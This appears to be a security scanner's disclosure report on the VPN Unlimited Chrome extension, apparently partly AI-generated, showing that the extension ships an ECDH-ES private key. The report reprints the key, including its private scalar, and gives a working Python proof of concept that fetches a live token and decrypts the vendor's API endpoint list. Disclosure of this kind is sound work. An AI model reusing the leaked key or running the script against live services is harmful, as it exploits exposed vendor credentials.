Is VPN Unlimited safe?

Low risk

VPN Unlimited is low risk. VPN Unlimited (KeepSolid) ships an ECDH-ES private key, 'd' included, in source. That key alone protects JWE tokens fetched from 22+ public hosts, revealing its API servers. A PoC decrypted a live token: 61 endpoints in under a second.

KeepSolid Inc.v9.1.1Chrome Web Store
23Risk
Who publishes it

KeepSolid Inc. - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
KeepSolid Inc.
Declared legal entity
KeepSolid Inc.
Registered address
3220 Arlington Ave suite 5a, Bronx, NY 10463, New York, NY 10463, US
Registered contact
KeepSolid Inc.

Same store account

1 other listing published from this account, 1k+ users between them, none of them carrying a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

VPN Unlimited ships its ECDH decryption key, exposing all API endpoint config

VPN Unlimited (KeepSolid) ships an ECDH-ES private key, 'd' included, in source.

That key alone protects JWE tokens fetched from 22+ public hosts, revealing its API servers.

A PoC decrypted a live token: 61 endpoints in under a second.

Severity
Low unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You install VPN Unlimited from the Chrome Web Store.

The extension did this

The extension fetches an encrypted config token from one of 22+ public hosts and decrypts it with an ECDH-ES private key shipped verbatim in the package.

The same private key is available to anyone who downloads or inspects the extension.

The code that does this

ECDH-ES private key with 'd' parameter in background.js line 72

Readable version
// background.js:72 — ee (global config object), encrypt.keystoreconst ee = {  encrypt: {    keystore: JSON.stringify({      keys: [        {          kty: "EC",          kid: "qqwa-r0lbloYdIqJdQE6Y6hRmgvWGG1RgyQAAOblMok",          use: "sig",          crv: "P-256",          x: "9Zv1d1iulhMALrPm77simuIDuOhH5ueuJ1a9GC9g9j8",          y: "KcsZKvlvisc3PCR-MHYOdz9HJb0nQUCmRER1O5RU-mQ"          // ← public-only signature-verify key (no 'd')        },        {          kty: "EC",          kid: "K8jBxmi319Aku0g4HuUgZP_MAwaAag55RGXDU2zvCmg",          use: "enc",          alg: "ECDH-ES",          crv: "P-256",          x: "07pAqEvfX-sjuUblHeCgXH-tNewws9w1pYmV1TR9w4U",          y: "y_0fsiV_0FQEy-ZE2pkBJELWXXSBHC1UddMgbW3T2pE",          d: "rY7OnheR4lS2HbzskChn8XBIZ_qFTpwMgMa0XKT-DMs",  // ← PRIVATE SCALAR          enc: "A256GCM"        }      ]    })  }};
Token sources polled on startup (22 hosts, any could serve an attacker token if compromised)
    • pastebin.com

    Public paste hosting; serves current encrypted API config token

    • raw.githubusercontent.com

    GitHub CDN; Dar-Soft/token repo serves encrypted token

    • keeper.do.am

    KeepSolid-operated host; primary token source

    • static.keepsolid.com

    KeepSolid CDN; authoritative token backup

    • bitbucket.org

    Bitbucket repo (keepsolid/token); token backup

    • gitlab.com

    GitLab repo (KeepSolid/Project); token backup

    • s3-us-west-1.amazonaws.com

    AWS S3 NA region (vpntoken-na bucket)

    • s3-sa-east-1.amazonaws.com

    AWS S3 SA region (vpntoken-sa bucket)

Reproduce it yourself

Fetches a live JWE token from the Pastebin token source and decrypts it using the private key extracted from background.js. Prints the full API endpoint configuration.

Requires
  • Python 3.8+
  • jwcrypto (pip install jwcrypto)
vpn-unlimited-decrypt-config.py · py
#!/usr/bin/env python3"""Reproducer: ECDH-ES private key exposure in VPN UnlimitedExtension: mpcaainmfjjigeicjnlkdfajbioopjkoClaim: 5667Extracts the private key from the extension's keystore config (background.js:72),fetches a live JWE token, and decrypts the API endpoint configuration."""import json, base64, urllib.requestfrom jwcrypto import jwk, jwe# Private key extracted verbatim from background.js:72 keystore JSONPRIVATE_KEY_JWK = {    "kty": "EC",    "kid": "K8jBxmi319Aku0g4HuUgZP_MAwaAag55RGXDU2zvCmg",    "use": "enc",    "alg": "ECDH-ES",    "crv": "P-256",    "x": "07pAqEvfX-sjuUblHeCgXH-tNewws9w1pYmV1TR9w4U",    "y": "y_0fsiV_0FQEy-ZE2pkBJELWXXSBHC1UddMgbW3T2pE",    "d": "rY7OnheR4lS2HbzskChn8XBIZ_qFTpwMgMa0XKT-DMs"}TOKEN_SOURCES = [    "https://pastebin.com/raw/4pV0hjtA",    "https://raw.githubusercontent.com/Dar-Soft/token/master/token.txt",    "https://keeper.do.am/token.txt",]token_raw = Nonefor url in TOKEN_SOURCES:    try:        req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})        with urllib.request.urlopen(req, timeout=10) as r:            token_raw = r.read().decode('utf-8').strip()        print(f"[+] Fetched {len(token_raw)} bytes from {url}")        break    except Exception as e:        print(f"[-] {url}: {e}")if not token_raw:    print("[-] Could not fetch any live token")    exit(1)key = jwk.JWK(**PRIVATE_KEY_JWK)t = jwe.JWE()t.deserialize(token_raw, key)inner_jws = t.payload.decode('utf-8')print("[+] JWE decrypted successfully")# Decode inner JWS payload (signed API config)jws_parts = inner_jws.split('.')payload_b64 = jws_parts[1] + '=' * (4 - len(jws_parts[1]) % 4)api_config = json.loads(base64.urlsafe_b64decode(payload_b64))print(f"[+] API config contains {len(api_config)} entries:")print(json.dumps(api_config, indent=2))
How to run it
  1. 1pip install jwcrypto
  2. 2python3 vpn-unlimited-decrypt-config.py
  3. 3Observe the full list of VPN backend API domains printed to stdout.

What it can do

Permissions this extension asks for, as declared in version 9.0.16. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 9.1.1, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • Route all of your browsing through a server of its choosing

    proxy

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Watch every request your browser makes

    webRequest

  • Change your browser's privacy and security settings

    privacy

  • Schedule its own background tasks

    alarms

webRequestAuthProvider
Updated 15 October 2026mpcaainmfjjigeicjnlkdfajbioopjko